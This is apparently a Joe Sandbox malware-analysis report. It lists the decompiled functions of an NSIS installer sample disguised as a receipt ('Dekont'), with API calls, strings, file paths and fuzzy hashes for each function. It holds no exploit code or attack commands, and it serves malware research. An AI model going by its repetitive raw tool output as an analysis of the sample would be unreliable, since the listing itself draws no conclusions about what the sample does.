Opcode ID: 9d479c7c72b9213c6dfc702f82f35e79a053754e3cc1bdd00607558639033416
Instruction ID: 552a380bc1a798379165a166047c46cc7e7689cdd056a509842d4882e8d45c12
Opcode Fuzzy Hash: 9d479c7c72b9213c6dfc702f82f35e79a053754e3cc1bdd00607558639033416
Instruction Fuzzy Hash: 33410875A00208AFCF00DFE4C989A9E7BB6FF48314B20457AF515EB2D1DB799981CB54

Function 00402902 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 00402911

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f1f75f85ad8f91268d35bee39362f1624f539314e89723e4461874efd2ba877a
Instruction ID: 56039e75b3af19f60320d449630e93dfdbb15a7187211f692f50db0849c99601
Opcode Fuzzy Hash: f1f75f85ad8f91268d35bee39362f1624f539314e89723e4461874efd2ba877a
Instruction Fuzzy Hash: C8F08C71A04114AEC700DFA4DD499AEB378EF10328F70457BE511F31E0D7B89E119B29

Function 00404DD4 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 490
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DEB
GetDlgItem.USER32(?,00000408), ref: 00404DF8
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E44
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404E5B
SetWindowLongW.USER32(?,000000FC,004053ED), ref: 00404E75
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E89
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404E9D
SendMessageW.USER32(?,00001109,00000002), ref: 00404EB2
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EBE
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404ED0
DeleteObject.GDI32(00000110), ref: 00404ED5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404F00
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404F0C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FA7
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404FD7

Part of subcall function 0040439C: SendMessageW.USER32(00000028,?,?,004041C7), ref: 004043AA

SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FEB
GetWindowLongW.USER32(?,000000F0), ref: 00405019
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405027
ShowWindow.USER32(?,00000005), ref: 00405037
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405138
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040519A
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004051AF
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051D3
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051F6
ImageList_Destroy.COMCTL32(?), ref: 0040520B
GlobalFree.KERNEL32(?), ref: 0040521B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405294
SendMessageW.USER32(?,00001102,?,?), ref: 0040533D
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040534C
InvalidateRect.USER32(?,00000000,?), ref: 00405376
ShowWindow.USER32(?,00000000), ref: 004053C4
GetDlgItem.USER32(?,000003FE), ref: 004053CF
ShowWindow.USER32(00000000), ref: 004053D6

Strings

M, xrefs: 00404F8F
N, xrefs: 00405073
, xrefs: 004053AE

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 5598e06cb67788476fc8c7d334527adddce2bdc5635884aaeb3921699d952b74
Instruction ID: d580a4fcaa5169941c29ca465f5867fc490570c71858173d192e260bc12e7e27
Opcode Fuzzy Hash: 5598e06cb67788476fc8c7d334527adddce2bdc5635884aaeb3921699d952b74
Instruction Fuzzy Hash: 9C127A70D00609EFDB20DFA5CD45AAEBBB5FB84314F10817AEA10BA2E1C7798941DF58

Function 00403E8E Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403ECA
ShowWindow.USER32(?), ref: 00403EE7
DestroyWindow.USER32 ref: 00403EFB
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F17
GetDlgItem.USER32(?,?), ref: 00403F38
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F4C
IsWindowEnabled.USER32(00000000), ref: 00403F53
GetDlgItem.USER32(?,?), ref: 00404001
GetDlgItem.USER32(?,00000002), ref: 0040400B
SetClassLongW.USER32(?,000000F2,?), ref: 00404025
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00404076
GetDlgItem.USER32(?,00000003), ref: 0040411C
ShowWindow.USER32(00000000,?), ref: 0040413D
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040414F
EnableWindow.USER32(?,?), ref: 0040416A
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404180
EnableMenuItem.USER32(00000000), ref: 00404187
SendMessageW.USER32(?,000000F4,00000000,?), ref: 0040419F
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041B2
lstrlenW.KERNEL32(0042D268,?,0042D268,00000000), ref: 004041DC
SetWindowTextW.USER32(?,0042D268), ref: 004041F0
ShowWindow.USER32(?,0000000A), ref: 00404324

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 107ad6bdab59df7c6dc1e53992544a2f2aa45a341ad300a22c315677171673b9
Instruction ID: cb6f0490afd218b95da4ce8f8645ed9f2a2dc6dad26b5163c80864a666f03042
Opcode Fuzzy Hash: 107ad6bdab59df7c6dc1e53992544a2f2aa45a341ad300a22c315677171673b9
Instruction Fuzzy Hash: 40C1AFB1600305EFDB206F61EE85E2B7A68FB85706B54053EFA81B11F0CB799841DB2D

Function 00403AE0 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406806: GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
Part of subcall function 00406806: GetProcAddress.KERNEL32(00000000,?), ref: 00406833

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",00000000), ref: 00403B61
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\udstrmningsdysernes\eir\Speckly,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76233420), ref: 00403BE1
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\udstrmningsdysernes\eir\Speckly,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 00403BF4
GetFileAttributesW.KERNEL32(Call), ref: 00403BFF
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\udstrmningsdysernes\eir\Speckly), ref: 00403C48

Part of subcall function 00406358: wsprintfW.USER32 ref: 00406365

RegisterClassW.USER32(00433EA0), ref: 00403C85
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C9D
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CD2
ShowWindow.USER32(00000005,00000000), ref: 00403D08
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403D34
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403D41
RegisterClassW.USER32(00433EA0), ref: 00403D4A
DialogBoxParamW.USER32(?,00000000,00403E8E,00000000), ref: 00403D69

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE5
.DEFAULT\Control Panel\International, xrefs: 00403B4C
_Nb, xrefs: 00403C64, 00403CCC
C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 00403B70, 00403B78, 00403C1B, 00403C21, 00403C31
RichEd20, xrefs: 00403D0E
"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe", xrefs: 00403AE4
Control Panel\Desktop\ResourceLocale, xrefs: 00403B14
RichEd32, xrefs: 00403D1C
.exe, xrefs: 00403BEE
RichEdit20W, xrefs: 00403D2C, 00403D32
Call, xrefs: 00403BA8, 00403BB1, 00403BBF, 00403C0E, 00403C14
RichEdit, xrefs: 00403D3B
1033, xrefs: 00403B00, 00403B5C

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\udstrmningsdysernes\eir\Speckly$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1198911020
Opcode ID: d0a9a63d962560b66f9d03636585c912b1b432706de4baa1d25fdb2d125816db
Instruction ID: ef062d508cd4fc62497976b4bc03dd7eae2cd9e8a178e807e7972486bae2ade7
Opcode Fuzzy Hash: d0a9a63d962560b66f9d03636585c912b1b432706de4baa1d25fdb2d125816db
Instruction Fuzzy Hash: 9A61B8711447006EE320AF66AE46F2B3A6CEBC5B4AF40453FF941B61E1DB7D9901CA2D

Function 00403015 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403026
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,00000400,?,00000007,00000009,0000000B), ref: 00403042

Part of subcall function 00405F07: GetFileAttributesW.KERNELBASE(?,00403055,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
Part of subcall function 00405F07: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

GetFileSize.KERNEL32(00000000,00000000,00444000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 0040308E
GlobalAlloc.KERNELBASE(00000040,0000000B,?,00000007,00000009,0000000B), ref: 004031C4

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040301C
Null, xrefs: 0040310C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004031EB
C:\Users\user\Desktop, xrefs: 00403070, 00403075, 0040307B
Error launching installer, xrefs: 00403065
"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe", xrefs: 00403015
Inst, xrefs: 004030FA
C:\Users\user\Desktop\Dekont#400577_89008_96634.exe, xrefs: 0040302C, 0040303B, 0040304F, 0040306F
soft, xrefs: 00403103

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Dekont#400577_89008_96634.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3049481811
Opcode ID: a52360a1b04fecb28cdb34ea46c0a5e0142df37db4d5eb2ecb020a06199e7e0c
Instruction ID: 352fdba277142773567f3d30b5bba7b1c47688a28dd7517ec43723b707c69b17
Opcode Fuzzy Hash: a52360a1b04fecb28cdb34ea46c0a5e0142df37db4d5eb2ecb020a06199e7e0c
Instruction Fuzzy Hash: CF51D331904204ABDB109FA5DD85B9E7EACEB48356F24803BF910BA2D1C77C9F418B9D

Function 0040644E Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040658F
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,0042C248,?,004054B0,0042C248,00000000), ref: 004065A2
SHGetSpecialFolderLocation.SHELL32(004054B0,00425A20,00000000,0042C248,?,004054B0,0042C248,00000000), ref: 004065DE
SHGetPathFromIDListW.SHELL32(00425A20,Call), ref: 004065EC
CoTaskMemFree.OLE32(00425A20), ref: 004065F7
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040661D
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004054B0,0042C248,00000000), ref: 00406675

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040655F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406617
Call, xrefs: 00406478, 00406553, 0040655A, 0040655E, 00406578, 00406579, 0040658E, 004065A1, 004065BD, 004065E8, 0040661C, 00406622, 0040663E, 00406651, 0040666E, 00406674, 00406680, 004066B3

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 2c2ecd46c083869abf5f0cc2869f7ea5c15be7567ee334f864889eeacbeedf20
Instruction ID: cd0f296135d024e5542a1133132ccafb23cc3a0c8fe84acec88ebf75cbd5934e
Opcode Fuzzy Hash: 2c2ecd46c083869abf5f0cc2869f7ea5c15be7567ee334f864889eeacbeedf20
Instruction Fuzzy Hash: 9C614471A00111AADF208F54DD41BBE37A5AF44314F26853FE943B62D0EB3E5AA2CB5D

Function 0040324C Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004032B6
GetTickCount.KERNEL32 ref: 0040335D
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403386
wsprintfW.USER32 ref: 00403399

Strings

*B, xrefs: 00403277
A, xrefs: 00403416
ZB, xrefs: 0040333A, 00403355, 004033D2
A, xrefs: 0040330C
... %d%%, xrefs: 00403393

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ ZB$ A$ A$... %d%%
API String ID: 551687249-3856725213
Opcode ID: 6aa008098f4ef09d38d5c59ecde741492560208fda71d4d747c9693988f45b69
Instruction ID: 934ec796fb5923f126773143cacc3683187fa16e161fba292e3b1b9e9ada072f
Opcode Fuzzy Hash: 6aa008098f4ef09d38d5c59ecde741492560208fda71d4d747c9693988f45b69
Instruction Fuzzy Hash: 44518C71D00219DBCB11DF65EA84B9E7FA8AF01756F10817BEC10BB2C1C7789A40CBA9

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\udstrmningsdysernes\eir\Speckly,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\udstrmningsdysernes\eir\Speckly,?,?,00000031), ref: 004017D5

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00000400,00403596,00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

Part of subcall function 00405479: lstrlenW.KERNEL32(0042C248,00000000,00425A20,762323A0,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
Part of subcall function 00405479: lstrlenW.KERNEL32(004033B0,0042C248,00000000,00425A20,762323A0,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
Part of subcall function 00405479: lstrcatW.KERNEL32(0042C248,004033B0,004033B0,0042C248,00000000,00425A20,762323A0), ref: 004054D4
Part of subcall function 00405479: SetWindowTextW.USER32(0042C248,0042C248), ref: 004054E6
Part of subcall function 00405479: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
Part of subcall function 00405479: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
Part of subcall function 00405479: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

Strings

C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp$C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp\System.dll$C:\Users\user\udstrmningsdysernes\eir\Speckly$Call
API String ID: 1941528284-1332054413
Opcode ID: 898ce4c5b6941fe7d419b72eda9361d5450072f2bf0dde35a2139be17a2a5618
Instruction ID: 3db4763bd34d6378758f0dea6881e25fdbecc032a5989a9cd586940b12637d70
Opcode Fuzzy Hash: 898ce4c5b6941fe7d419b72eda9361d5450072f2bf0dde35a2139be17a2a5618
Instruction Fuzzy Hash: 13419471500118BACF10BFA5CD85DAE7A79EF45368B20423FF512B21E1DB3C89919A2D

Function 00405948 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040598B
GetLastError.KERNEL32 ref: 0040599F
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004059B4
GetLastError.KERNEL32 ref: 004059BE

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040596E
C:\Users\user\Desktop, xrefs: 00405948

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-1229045261
